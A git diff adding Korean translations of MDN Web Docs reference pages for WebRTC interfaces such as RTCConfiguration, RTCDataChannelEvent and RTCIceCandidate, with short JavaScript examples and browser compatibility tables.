+ <td>스트리밍 리스폰스 바디</td>
+ <td>{{CompatChrome(43.0)}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<table>
+ <tbody>
+ <tr>
+ <th>기능</th>
+ <th>Android</th>
+ <th>Android Webview</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>Firefox OS (Gecko)</th>
+ <th>IE Phone</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ <th>Chrome for Android</th>
+ </tr>
+ <tr>
+ <td>기본 지원</td>
+ <td>{{ CompatNo }}</td>
+ <td>{{ CompatChrome(42) }} [1]</td>
+ <td>{{ CompatNo }}</td>
+ <td>{{ CompatNo }}</td>
+ <td>{{ CompatNo }}</td>
+ <td>{{ CompatNo }}</td>
+ <td>{{ CompatNo }}</td>
+ <td>{{ CompatChrome(42.0) }} [1]</td>
+ </tr>
+ <tr>
+ <td>스트리밍 리스폰시브 바디</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatChrome(43.0)}} </td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatChrome(43.0)}} </td>
+ </tr>
+ </tbody>
+</table>
+
+<p>[1] 초기 파라미터의 기본값의 일부는 Chrome 47부터 변경되었스빈다. 상세한 내용은 프로퍼티 섹션을 참고해주시기 바랍니다.</p>
+
+<p>[2] 34는 설정에서 변경할 수 있습니다.</p>
+
+<p>[3] 28는 설정에서 변경할 수 있습니다.</p>
+
+<h2 id="관련항목">관련항목</h2>
+
+<ul>
+ <li><a href="/ja/docs/Web/API/ServiceWorker_API">ServiceWorker API</a></li>
+ <li><a href="/ja/docs/Web/HTTP/Access_control_CORS">HTTP access control (CORS)</a></li>
+ <li><a href="/ja/docs/Web/HTTP">HTTP</a></li>
+</ul>
+
+<p> </p>
+
+<ul>
+ <li> </li>
+</ul>
diff --git a/files/ko/web/api/rtcconfiguration/index.html b/files/ko/web/api/rtcconfiguration/index.html
new file mode 100644
index 0000000000..bc578aaf53
--- /dev/null
+++ b/files/ko/web/api/rtcconfiguration/index.html
@@ -0,0 +1,97 @@
+---
+title: RTCConfiguration
+slug: Web/API/RTCConfiguration
+tags:
+ - API
+ - Dictionary
+ - Interface
+ - RTCConfiguration
+ - WebRTC
+translation_of: Web/API/RTCConfiguration
+---
+<p>{{APIRef("WebRTC")}}{{draft}}</p>
+
+<p><strong><code>RTCConfiguration</code></strong>는 {{domxref("RTCPeerConnection")}}의 설정에 대한 옵션들을 제공합니다. 연결이 처음으로 이루어질 때 {{domxref("RTCPeerConnection")}} 생성자에 전달되거나, 연결이 확립된 동안 설정을 확인하고 변경이 가능한{{domxref("RTCPeerConnection.getConfiguration()")}} 및 {{domxref("RTCPeerConnection.setConfiguration()")}} 메소드와 같이 사용됩니다.</p>
+
+<p>옵션은 ICE 서버, 전달 셋팅, 그리고 identity 정보를 포함합니다.</p>
+
+<h2 id="속성">속성</h2>
+
+<dl>
+ <dt>{{domxref("RTCConfiguration.bundlePolicy", "bundlePolicy")}} {{optional_inline}}</dt>
+ <dd>원격 피어가 <a href="https://webrtcstandards.info/sdp-bundle/">SDP BUNDLE standard</a>에 호환이 불가능할 때, 어떻게 candidate의 네고시에이션을 처리 할 것인지를 정의합니다. 이 옵션은 무조건 enum <code><a href="#RTCBundlePolicy_enum">RTCBundlePolicy</a></code>의 값들 중 하나여야만 합니다. 만약 이 값이 딕셔너리에 없으면, <code>"balanced"</code> 으로 지정됩니다.</dd>
+ <dt>{{domxref("RTCConfiguration.certificates", "certificates")}} {{optional_inline}}</dt>
+ <dd>인증을 위해 연결에서 사용되는 {{domxref("RTCCertificate")}} 타입의 객체의 {{jsxref("Array")}} 입니다. 이 속성이 정의되어있지 않으면, 각 {{domxref("RTCPeerConnection")}} 인스턴스별로 자동으로 인증서 모음이 생성됩니다. 하나의 연결에는 오직 한개의 인증서만 사용이 되지만, 여러 알고리즘들에 대해 다수의 인증서를 제공하는 방법으로 어떤 상황에서 우연치 않게 연결이 성공되는 경우를 줄일 수 있습니다. 아래는 {{anch("Using certificates")}}에 대한 추가 정보입니다.
+ <div class="note">이 설정 옵션은 한 번 정의되면 변경이 불가능합니다. 한 번 인증서가 지정되면, 그 후 발생하는 {{domxref("RTCPeerConnection.setConfiguration()")}} 호출에서 이 속성이 무시됩니다.</div>
+ </dd>
+ <dt>{{domxref("RTCConfiguration.iceCandidatePoolSize", "iceCandidatePoolSize")}} {{optional_inline}}</dt>
+ <dd>미리 가져와진 ICE candidate pool의 크기를 정의하는 서명되지 않은 16-bit 정수 값. 기본 값은 0으로 candidate를 미리 가져오는 것이 발생하지 않음을 뜻함. 연결 시도를 시작하기전에 ICE 에이전트가 ICE candidates를 미리 가져오게 허용하면, candidate들은  {{domxref("RTCPeerConnection.setLocalDescription()")}} 호출로 이미 확인이 가능하게 되고, 이로 인해 몇몇 상황에서 연결이 더 빠르게 성립됩니다.
+ <div class="note">ICE candidate pool의 크기 변경은 ICE 수집을 시작하게 만들 수 있습니다.</div>
+ </dd>
+ <dt>{{domxref("RTCConfiguration.iceServers", "iceServers")}} {{optional_inline}}</dt>
+ <dd>ICE 에이전트에 의해 이용될 수 있는 하나의 서버를 설명하는 {{domxref("RTCIceServer")}} 객체의 배열. 일반적으로 STUN 혹은 TURN 서버들입니다. 이 옵션이 정의가 안되어있으면, ICE 에이전트는 자체 ICE 서버를 선택하여 사용 할 수 있습니다. 자체 서버가 없다면, 연결은 사용 가능한 STUN 혹은 TURN 서버 없이 진행되고, 이는 로컬 피어와의 연결을 제한합니다. </dd>
+ <dt>{{domxref("RTCConfiguration.iceTransportPolicy", "iceTransportPolicy")}} {{optional_inline}}</dt>
+ <dd>현재 ICE 전송 정책; 이는 <code><a href="#RTCIceTransportPolicy_enum">RTCIceTransportPolicy</a></code> enum에 존재하는 값입니다. 이 옵션이 정의가 안되어있으면, <code>"all"</code>로 설정됩니다.</dd>
+ <dt>{{domxref("RTCConfiguration.peerIdentity", "peerIdentity")}} {{optional_inline}}</dt>
+ <dd>{{domxref("RTCPeerConnection")}}에 대한 타겟 피어 identity를 명시하는 {{domxref("DOMString")}}. 이 값이 지정되어있으면, <code>RTCPeerConnection</code>은 주어진 이름으로 인증이 성공하지 않는 이상 원격 피어와 연결하지 않습니다. (기본 값은 <code>null</code> 입니다.) </dd>
+ <dt>{{domxref("RTCConfiguration.rtcpMuxPolicy", "rtcpMuxPolicy")}} {{optional_inline}}</dt>
+ <dd>non-multiplexed RTCP를 지원하기 위해, ICE candidate를 수집 할 때 사용되는 RTCP mux 정책. 이 값은 <a href="#RTCRtcpMuxPolicy_enum"><code>RTCRtcpMuxPolicy</code> enum</a>.에 존재하는 값입니다. 기본 값은 <code>"require"</code>입니다.</dd>
+</dl>
+
+<h2 id="상수">상수</h2>
+
+<p>{{page("/en-US/docs/Web/API/RTCPeerConnection", "RTCBundlePolicy enum", 0, 1)}}</p>
+
+<p>{{page("/en-US/docs/Web/API/RTCPeerConnection", "RTCIceTransportPolicy enum", 0, 1)}}</p>
+
+<p>{{page("/en-US/docs/Web/API/RTCPeerConnection", "RTCRtcpMuxPolicy enum", 0, 1)}}</p>
+
+<h2 id="인증서_사용하기">인증서 사용하기</h2>
+
+<p><code>RTCPeerConnection</code>가 자동으로 생성하는 인증서 대신에, 사용자가 직접 {{domxref("RTCPeerConnection")}}을 위한 자체 인증서를 만들기를 원한다면 {{domxref("RTCPeerConnection.generateCertificate()")}} 호출 합니다. </p>
+
+<p>이 속성은 다중 인증서 제공을 지원합니다. 이는 주어진 DTLS 연결이 오직 하나의 인증서를 사용한다해도, 다중 인증서는 여러개의 암호화 알고리즘 지원을 허용하기 때문입니다. <code>RTCPeerConnection</code>의 구현은 DTLS 합의 중 결정된 알고리즘 및 원격 피어에 근거해서 어떤 인증서를 사용 할지 선택합니다.</p>
+
+<p>인증서를 제공하지 않으면, 신규 인증서가 자동으로 생성이 됩니다. 사용자 자체의 identity 키를 제공하는 것의 한 가지 명백한 장점은 연속성입니다. 동일한 인증서를 이후 호출에도 사용하게되면, 원격 피어는 사용자가 같은 caller인지 알 수 있습니다. 또한, 새로운 인증키를 발급하지 않아도 됩니다. </p>
+
+<p>&lt;&lt;&lt;link to added info on identity&gt;&gt;&gt;</p>
+
+<h2 id="예시">예시</h2>
+
+<p>아래 설정은 두개의 ICE 서버를 구축합니다. 첫 번째 서버, <code>stun:stun.services.mozilla.com</code>는 인증을 요구하기 때문에 유저 이름과 비밀번호를 제공합니다. 두 번째 서버는 두 개의 URL 주소가 있습니다: <code>stun:stun.example.com</code>와 <code>stun:stun-1.example.com</code>입니다.</p>
+
+<pre class="brush: js">var configuration = { iceServers: [{
+ urls: "stun:stun.services.mozilla.com",
+ username: "louis@mozilla.com",
+ credential: "webrtcdemo"
+ }, {
+ urls: ["stun:stun.example.com", "stun:stun-1.example.com"]
+ }]
+};
+
+var pc = new RTCPeerConnection(configuration);</pre>
+
+<h2 id="사양서">사양서</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('WebRTC 1.0','#dom-rtcconfiguration','RTCConfiguration')}}</td>
+ <td>{{Spec2('WebRTC 1.0')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("api.RTCConfiguration")}}</p>
+</div>
diff --git a/files/ko/web/api/rtcdatachannelevent/channel/index.html b/files/ko/web/api/rtcdatachannelevent/channel/index.html
new file mode 100644
index 0000000000..88c924f969
--- /dev/null
+++ b/files/ko/web/api/rtcdatachannelevent/channel/index.html
@@ -0,0 +1,63 @@
+---
+title: RTCDataChannelEvent.channel
+slug: Web/API/RTCDataChannelEvent/channel
+translation_of: Web/API/RTCDataChannelEvent/channel
+---
+<p>{{APIRef("WebRTC")}}{{SeeCompatTable}}</p>
+
+<p>읽기 속성인 <code><strong>RTCDataChannelEvent</strong></code><strong><code>.channel</code></strong>는 {{domxref("RTCDataChannel")}}와 관련이 있는 이벤트를 반환합니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"> var <em>channel</em> = <em>RTCDataChannelEvent</em>.channel;</pre>
+
+<h3 id="값">값</h3>
+
+<p>{{domxref("RTCDataChannel")}} 객체는 {{domxref("RTCPeerConnection")}}을 원격 피어와 연결해주는 데이터 채널을 알려줍니다.</p>
+
+<h2 id="예시">예시</h2>
+
+<p>{{event("datachannel")}} 이벤트 핸들러 안 코드의 첫 줄에서 이벤트 객체의 채널을 가져오고, 이를 데이터 트래픽을 관리하는 코드에 사용 될 수 있도록 지역 변수로 저장합니다.</p>
+
+<pre class="brush: js">pc.ondatachannel = function(event) {
+  inboundDataChannel = event.channel;
+  inboundDataChannel.onmessage = handleIncomingMessage;
+  inboundDataChannel.onopen = handleChannelOpen;
+  inboundDataChannel.onclose = handleChannelClose;
+}
+</pre>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">코멘트</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{ SpecName('WebRTC 1.0', '#dom-RTCDataChannelEvent-channel', 'RTCDataChannelEvent.channel') }}</td>
+ <td>{{ Spec2('WebRTC 1.0') }}</td>
+ <td>Initial specification.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.RTCDataChannelEvent.channel")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{event("datachannel")}}</li>
+ <li>{{domxref("RTCDataChannel")}}</li>
+ <li>{{domxref("RTCPeerConnection.ondatachannel")}}</li>
+ <li><a href="/en-US/docs/Web/API/WebRTC_API/Simple_RTCDataChannel_sample">A simple RTCDataChannel sample</a></li>
+ <li>{{domxref("RTCPeerConnection")}}</li>
+</ul>
diff --git a/files/ko/web/api/rtcdatachannelevent/index.html b/files/ko/web/api/rtcdatachannelevent/index.html
new file mode 100644
index 0000000000..0c9a390225
--- /dev/null
+++ b/files/ko/web/api/rtcdatachannelevent/index.html
@@ -0,0 +1,77 @@
+---
+title: RTCDataChannelEvent
+slug: Web/API/RTCDataChannelEvent
+translation_of: Web/API/RTCDataChannelEvent
+---
+<p>{{APIRef("WebRTC")}}{{SeeCompatTable}}</p>
+
+<p><strong><code>RTCDataChannelEvent()</code></strong> 생성자는 {{domxref("datachannel")}}을 나타내는 신규 {{domxref("RTCDataChannelEvent")}} 객체를 반환합니다. 이 이벤트는 두 피어 사이에서 원격 피어가 {{domxref("RTCDataChannel")}}을 개통하도록 요청되었을때, {{domxref("RTCPeerConnection")}} 에 전달됩니다. </p>
+
+<p>WebRTC가 적절한 시기에 생성하고 전달해주기 때문에, <code>RTCDataChannelEvent</code>를 직접 생성하는 일은 매우 드물 것입니다. <code>RTCPeerConnection</code>에 의해 {{domxref("RTCPeerConnection.datachannel_event", "datachannel")}} 이벤트가 받아지는지를 감청하고, 해당 이벤트를 받으면 {{domxref("RTCDataChannelEvent.channel")}} 속성을 사용해서 개통된 데이터 채널에 대한 권한을 얻는 것이 일반적입니다.</p>
+
+<h2 id="생성자">생성자</h2>
+
+<dl>
+ <dt>{{domxref("RTCDataChannelEvent.RTCDataChannelEvent()", "RTCDataChannelEvent()")}}</dt>
+ <dd>새로운 <a href="https://developer.mozilla.org/en-US/docs/Web/API/RTCDataChannelEvent" title="The RTCDataChannelEvent() constructor returns a new RTCDataChannelEvent object, which represents a datachannel event. These events sent to an RTCPeerConnection when its remote peer is asking to open an RTCDataChannel between the two peers."><code>RTCDataChannelEvent</code></a>을 생성하는 <code><strong>RTCDataChannelEvent()</strong></code> 생성자입니다.</dd>
+</dl>
+
+<h2 id="속성">속성</h2>
+
+<p><em><a href="https://developer.mozilla.org/en-US/docs/Web/API/Event" title="The Event interface represents an event which takes place in the DOM."><code>Event</code></a>의 속성을 상속합니다.</em></p>
+
+<dl>
+ <dt>{{domxref("RTCDataChannelEvent.channel")}} {{readOnlyInline}}</dt>
+ <dd>읽기 속성인 <code><strong>RTCDataChannelEvent</strong></code><strong><code>.channel</code></strong>는 이벤트와 관련된 RTCDataChannel를 반환합니다. </dd>
+</dl>
+
+<h2 id="메소드">메소드</h2>
+
+<p>이 인터페이스에는 메소드가 존재하지 않습니다. 대신, <em><a href="https://developer.mozilla.org/en-US/docs/Web/API/Event" title="The Event interface represents an event which takes place in the DOM."><code>Event</code></a></em>의 메소드를 상속합니다.</p>
+
+<h2 id="예시">예시</h2>
+
+<p>아래의 예제에서는 <code>datachannel</code> 이벤트 핸들러를 설정해서 데이터 채널의 참조된 정보를 저장하고, 모니터링 할 이벤트들에 대한 핸들러를 새로 설정합니다. {{domxref("RTCDataChannelEvent.channel", "channel")}} 속성은 다른 피어와의 연결을 나타내는 {{domxref("RTCDataChannel")}}을 제공합니다.</p>
+
+<pre class="brush: js">pc.ondatachannel = function(event) {
+ inboundDataChannel = event.channel;
+ inboundDataChannel.onmessage = handleIncomingMessage;
+ inboundDataChannel.onopen = handleChannelOpen;
+ inboundDataChannel.onclose = handleChannelClose;
+}
+</pre>
+
+<p>데이터 채널을 어떤 방식으로 사용하는지에 대한 더 좋은 예제는 <a href="/en-US/docs/Web/API/WebRTC_API/Simple_RTCDataChannel_sample">A simple RTCDataChannel sample</a>를 확인하십시오.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">코멘트</th>
+ </tr>
+ <tr>
+ <td>{{ SpecName('WebRTC 1.0', '#idl-def-RTCDataChannelEvent', 'RTCDataChannelEvent') }}</td>
+ <td>{{Spec2('WebRTC 1.0')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.RTCDataChannelEvent")}}</p>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Guide/API/WebRTC" title="/en-US/docs/CSS/Using_CSS_animations">WebRTC</a></li>
+ <li>{{domxref("RTCDataChannel")}}</li>
+ <li>{{domxref("RTCDataChannel.ondatachannel")}}</li>
+ <li><a href="/en-US/docs/Web/API/WebRTC_API/Simple_RTCDataChannel_sample">A simple RTCDataChannel sample</a></li>
+ <li>{{domxref("RTCPeerConnection")}} (the target interface for {{event("datachannel")}} events)</li>
+</ul>
diff --git a/files/ko/web/api/rtcdatachannelevent/rtcdatachannelevent/index.html b/files/ko/web/api/rtcdatachannelevent/rtcdatachannelevent/index.html
new file mode 100644
index 0000000000..42fcbbe4dc
--- /dev/null
+++ b/files/ko/web/api/rtcdatachannelevent/rtcdatachannelevent/index.html
@@ -0,0 +1,75 @@
+---
+title: RTCDataChannelEvent()
+slug: Web/API/RTCDataChannelEvent/RTCDataChannelEvent
+translation_of: Web/API/RTCDataChannelEvent/RTCDataChannelEvent
+---
+<p>{{APIRef("WebRTC")}}{{SeeCompatTable}}</p>
+
+<p><code><strong>RTCDataChannelEvent()</strong></code> 생성자는 새로운 {{domxref("RTCDataChannelEvent")}}를 생성합니다.</p>
+
+<div class="note">
+<p>이 이벤트는 알아서 WebRTC 레이어에 생성되고 전달되기 때문에, <code>RTCDataChannelEvent</code>를 수동으로 생성하는 일은 거의 없습니다.</p>
+</div>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"> var <em>event</em> = new RTCDataChannelEvent(<em>type</em>, R<em>tcDataChannelEventInit</em>);</pre>
+
+<h3 id="패러미터">패러미터</h3>
+
+<dl>
+ <dt><code>type</code></dt>
+ <dd>이벤트의 이름을 알려주는 {{domxref("DOMString")}}입니다. 이름은 <code>RTCDataChannelEvent</code> 타입의 한 종류인 "datachannel" 딱 한 가지만 존재합니다.</dd>
+ <dt><code>RtcDataChannelEventInit</code></dt>
+ <dd>아래의 필드를 가지는 <code>RTCDataChannelEventInit</code> 딕셔너리 입니다:
+ <ul>
+ <li><code>"channel"</code>은 {domxref("RTCDataChannel")}}의 한 종류로, 이벤트에 의해 데이터 채널이 확인되었다는 것을 알려줍니다.</li>
+ <li><code>"bubbles"</code>은 옵션으로 설정이 가능하며, <code>EventInit</code>에서 상속됩니다. 이는 해당 이벤트가 무조건 <code>bubble</code>이 되어야하는지의 여부를 알려줍니다. 기본 값은 <code>false</code>입니다</li>
+ <li><code>"cancelable"</code>은 옵션으로 설정이 가능하며, <code>EventInit</code>에서 상속됩니다. 이는 해당 이벤트가 취소 될 수 있는지의 여부를 알려줍니다. 기본 값은 <code>false</code>입니다.</li>
+ </ul>
+ </dd>
+</dl>
+
+<h3 id="값">값</h3>
+
+<p>명시한대로 설정된 신규 {{domxref("RTCDataChannelEvent")}} 입니다.</p>
+
+<h2 id="예시">예시</h2>
+
+<p>아래 예제는 신규 {{event("datachannel")}}를 생성합니다. <code>dc</code>는 이미 존재하는 데이터 채널을 뜻합니다.</p>
+
+<pre class="brush: js">var event = new RTCDataChannelEvent("datachannel", {"channel": dc});</pre>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table" style="height: 49px; width: 1000px;">
+ <thead>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">코멘트</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{ SpecName('WebRTC 1.0', '#dom-RTCDataChannelEvent', 'RTCDataChannelEvent') }}</td>
+ <td>{{ Spec2('WebRTC 1.0') }}</td>
+ <td>Initial specification.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.RTCDataChannelEvent.RTCDataChannelEvent")}}</p>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Guide/API/WebRTC">WebRTC</a></li>
+ <li>{{domxref("RTCDataChannel")}}</li>
+ <li>{{domxref("RTCPeerConnection")}}</li>
+ <li><a href="/en-US/docs/Web/API/WebRTC_API/Simple_RTCDataChannel_sample">A simple RTCDataChannel sample</a></li>
+</ul>
diff --git a/files/ko/web/api/rtcicecandidate/candidate/index.html b/files/ko/web/api/rtcicecandidate/candidate/index.html
new file mode 100644
index 0000000000..e4d0f253a5
--- /dev/null
+++ b/files/ko/web/api/rtcicecandidate/candidate/index.html
@@ -0,0 +1,84 @@
+---
+title: RTCIceCandidate.candidate
+slug: Web/API/RTCIceCandidate/candidate
+translation_of: Web/API/RTCIceCandidate/candidate
+---
+<div>{{APIRef("WebRTC")}}</div>
+
+<p><span class="seoSummary">{{domxref("RTCIceCandidate")}} 인터페이스에 대한 읽기 속성인 <code><strong>candidate</strong></code>는 candidate에 대해 자세히 설명해주는 {{domxref("DOMString")}}를 반환합니다. </span></p>
+
+<p><code>RTCIceCandidate</code>의 거의 모든 다른 속성들은 사실 이 문자열에서 가져와진 것입니다.</p>
+
+<p>이 속성은 {{domxref("RTCIceCandidate.RTCIceCandidate", "RTCIceCandidate()")}}를 사용해서 신규 candidate 객체를 구성 할 때, {{domxref("RTCIceCandidateInit.candidate", "candidate")}} 속성의 값을 지정해서 설정 할 수 있습니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">var <em>candidate</em> = <em>RTCIceCandidate</em>.candidate;</pre>
+
+<h3 id="값">값</h3>
+
+<p>반환되는 {{domxref("DOMString")}} 값은 {{Glossary("SDP")}}의 속성인 <code>"candidate"</code>에서 직접 가져와진 candidate의 속성에 대해 알려줍니다. candidate 문자열은 해당 candidate에 대한 네트워크 연결 정보를 명시합니다. <code>candidate</code>가 빈 문자열 (<code>""</code>)이라면, 더 이상 남아있는 candidate가 없다는 뜻입니다. 빈 문자열은 "candidate 종료" 표시자로도 알려져있습니다.</p>
+
+<p>candidate 문자열에 대한 구문은 {{RFC(5245, "", 15.1)}}에 설명되어있습니다. </p>
+
+<pre>a=candidate:4234997325 1 udp 2043278322 192.168.0.56 44323 typ host</pre>
+
+<p>위와 같은 a-line (속성 line)에서 해당하는 <code>candidate </code>문자열의 값은 <code>"candidate:4234997325 1 udp 2043278322 192.168.0.56 44323 typ host"</code>가 됩니다.</p>
+
+<p>{{Glossary("user agent")}}는 항상 가장 높거나 같은 {{domxref("RTCIceCandidate.priority", "priority")}}를 가진 candidate를 선호합니다. 위의 예시에서, 우선 순위는 <code>2043278322</code> 입니다. 속성은 단일 스페이스로 특정한 순서가 있습니다. 위의 candidate에 대한 전체 속성 리스트는 다음과 같습니다:</p>
+
+<ul>
+ <li>{{domxref("RTCIceCandidate.foundation", "foundation")}} = 4234997325</li>
+ <li>{{domxref("RTCIceCandidate.component", "component")}} = <code>"rtp"</code> (<code>"rtp"</code>는 1이 문자열에 있고, <code>"rtcp"</code>는 2가 문자열에 있습니다.)</li>
+ <li>{{domxref("RTCIceCandidate.protocol", "protocol")}} = <code>"udp"</code></li>
+ <li>{{domxref("RTCIceCandidate.priority", "priority")}} = 2043278322</li>
+ <li>{{domxref("RTCIceCandidate.ip", "ip")}} = <code>"192.168.0.56"</code></li>
+ <li>{{domxref("RTCIceCandidate.port", "port")}} = 44323</li>
+ <li>{{domxref("RTCIceCandidate.type", "type")}} = <code>"host"</code></li>
+</ul>
+
+<h2 id="예시">예시</h2>
+
+<p>아래 예제에서는 시그널링 과정에서 원격 유저에게서 수신 받은 ICE candidate 정보를 가진 SDP 문자열을 입력으로 받는 함수입니다. </p>
+
+<pre class="brush: js">function handleNewIceCandidate(candidateSDP) {
+ var candidateObj = new RTCIceCandidate(candidateSDP);
+
+ myPeerConnection.addIceCandidate(candidateObj).catch({
+ /* handle the error thrown by addIceCandidate() */
+ });
+}</pre>
+
+<p><code>handleNewIceCandidate()</code> 함수는 수신 받은 candidate의 SDP 문자를 {{domxref("RTCIceCandidate.RTCIceCandidate", "RTCIceCandidate()")}}에 보내고, candidate를 알려주는 {{domxref("RTCIceCanddiate")}} 객체를 반환 받습니다.</p>
+
+<p>그 후, 신규 candidatesms {{domxref("RTCPeerConnection.addIceCandidate()")}}에 전달되서 candidate의 리스트에 추가해서 WebRTC가 연결 설정으로 사용 하도록 고려합니다. </p>
+
+<p>위 예제는 더 간단하게 표현 될 수 있습니다. ECMAScript 2016의 고급 기능들을 사용해서 아래와 같이 나타낼 수 있습니다:</p>
+
+<pre class="brush: js">let handleNewIceCandidate = candidateSDP =&gt;
+ myPeerConnection.addIceCandidate(new RTCIceCandidate(candidateSDP));</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">코멘트</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('WebRTC 1.0', '#dom-rtcicecandidate-candidate', 'RTCIceCandidate.candidate')}}</td>
+ <td>{{Spec2('WebRTC 1.0')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("api.RTCIceCandidate.candidate")}}</p>
+</div>
diff --git a/files/ko/web/api/rtcicecandidate/index.html b/files/ko/web/api/rtcicecandidate/index.html
new file mode 100644
index 0000000000..fe5e3bc9ce
--- /dev/null
+++ b/files/ko/web/api/rtcicecandidate/index.html
@@ -0,0 +1,90 @@
+---
+title: RTCIceCandidate
+slug: Web/API/RTCIceCandidate
+translation_of: Web/API/RTCIceCandidate
+---
+<div>{{APIRef("WebRTC")}}</div>
+
+<p><span class="seoSummary"><strong><code>RTCIceCandidate</code></strong> 인터페이스는 <a href="/en-US/docs/Web/API/WebRTC_API">WebRTC API</a>의 한 종류로서, {{domxref("RTCPeerConnection")}}을 구축 할 때 사용되기도하는 Internet Connectivity Establishment ({{Glossary("ICE")}})의 후보군 (candidate)를 말합니다.</span></p>
+
+<p>하나의 ICE candidate는 WebRTC가 원격 장치와 통신을 하기 위해 요구되는 프로토콜과 라우팅에 대해 알려줍니다. WebRTC 피어 연결을 처음 시작하게되면, 일반적으로 여러개의 candiate들이 연결의 각 end에 의해 만들어집니다. 그리고 이 과정은 로컬 유저와 원격 유저가 연결을 위해 최고의 방법을 서로의 동의하에 선택하기 전까지 계속 됩니다. 이후에 WebRTC가 선택한 candidate를 사용해서 연결을 시도하게됩니다. </p>
+
+<p>ICE 과정이 어떻게 동작하는지 자세히 알고 싶다면, <a href="/en-US/docs/Web/API/WebRTC_API/Session_lifetime">Lifetime of a WebRTC session</a>을 확인해보십시오.이외에도 <a href="/en-US/docs/Web/API/WebRTC_API/Connectivity">WebRTC connectivity</a>에서는 유용한 추가 정보를 제공합니다.</p>
+
+<h2 id="생성자">생성자</h2>
+
+<dl>
+ <dt>{{domxref("RTCIceCandidate.RTCIceCandidate()","RTCIceCandidate()")}}</dt>
+ <dd>단일 ICE candidate를 나타내기 위해 RTCIceCandidate 객체를 생성합니다. 옵션으로 {{domxref("RTCIceCandidateInit")}} 딕셔너리에 존재하는 객체를 이용해 설정이 가능합니다.
+ <div class="note"><strong>Note:</strong> 이전 버전의 호환성을 위해서는, 생성자가 {{domxref("RTCIceCandidate.candidate", "candidate")}} 속성의 값을 가진 문자열을 {{domxref("RTCIceCandidateInit")}} 객체 대신에 입력 인자로 받습니다. 이는 <code>candidate</code>가 <code>RTCIceCandidateInit</code>보다 더 많은 정보를 가지고 있기 때문입니다.</div>
+ </dd>
+</dl>
+
+<h2 id="속성">속성</h2>
+
+<dl>
+ <dt>{{domxref("RTCIceCandidate.candidate", "candidate")}} {{readonlyInline}}</dt>
+ <dd>연결성 확인을 위해 사용 될 수 있는 candidate에 대한 전달 주소를 나타내는 {{domxref("DOMString")}}입니다. 이 주소의 형식은 {{RFC(5245)}}에 정의된바와 같이 <code>candidate-attribute</code> 입니다. <code>RTCIceCandidate</code>가 "마지막 candidate"를 알려주면, 이 문자열은 빈 문자열 (<code>""</code>)이 됩니다.</dd>
+ <dt>{{domxref("RTCIceCandidate.component", "component")}} {{ReadOnlyInline}}</dt>
+ <dd>ICE candidate가 RTP (<code>rtp</code>) 인지 RTCP (<code>rtcp</code>)인지 알려주는 {{domxref("DOMString")}}입니다. 이 값들은 <code>candidate </code>라인 문자열에 있는 <code>"component-id"</code> 필드에서 가져와집니다. 허용되는 값은 {{domxref("RTCIceComponent")}} enum 타입에 정리되어있습니다.</dd>
+ <dt>{{domxref("RTCIceCandidate.foundation", "foundation")}} {{readonlyInline}}</dt>
+ <dd>같은  유형의 candidate와 동일한 식별자를 가진 {{domxref("DOMString")}}를 반환합니다. {{domxref("DOMString")}}는 동일한 베이스 (ICE 에이전트가 candidate를 보낸 주소)를 공유하고, 동일한 {{Glossary("STUN")}}서버에서 가져와집니다. 이 속성을 사용해서 {{domxref("RTCIceTransport")}}객체에 나타나는 candidate의 우선 순위를 매기고 연관을 시키면서 ICE 성능을 최적화 할 수 있습니다. </dd>
+ <dt>{{domxref("RTCIceCandidate.ip", "ip")}} {{readonlyInline}}</dt>
+ <dd>candidate의 IP 주소를 가지고 있는 {{domxref("DOMString")}}입니다.</dd>
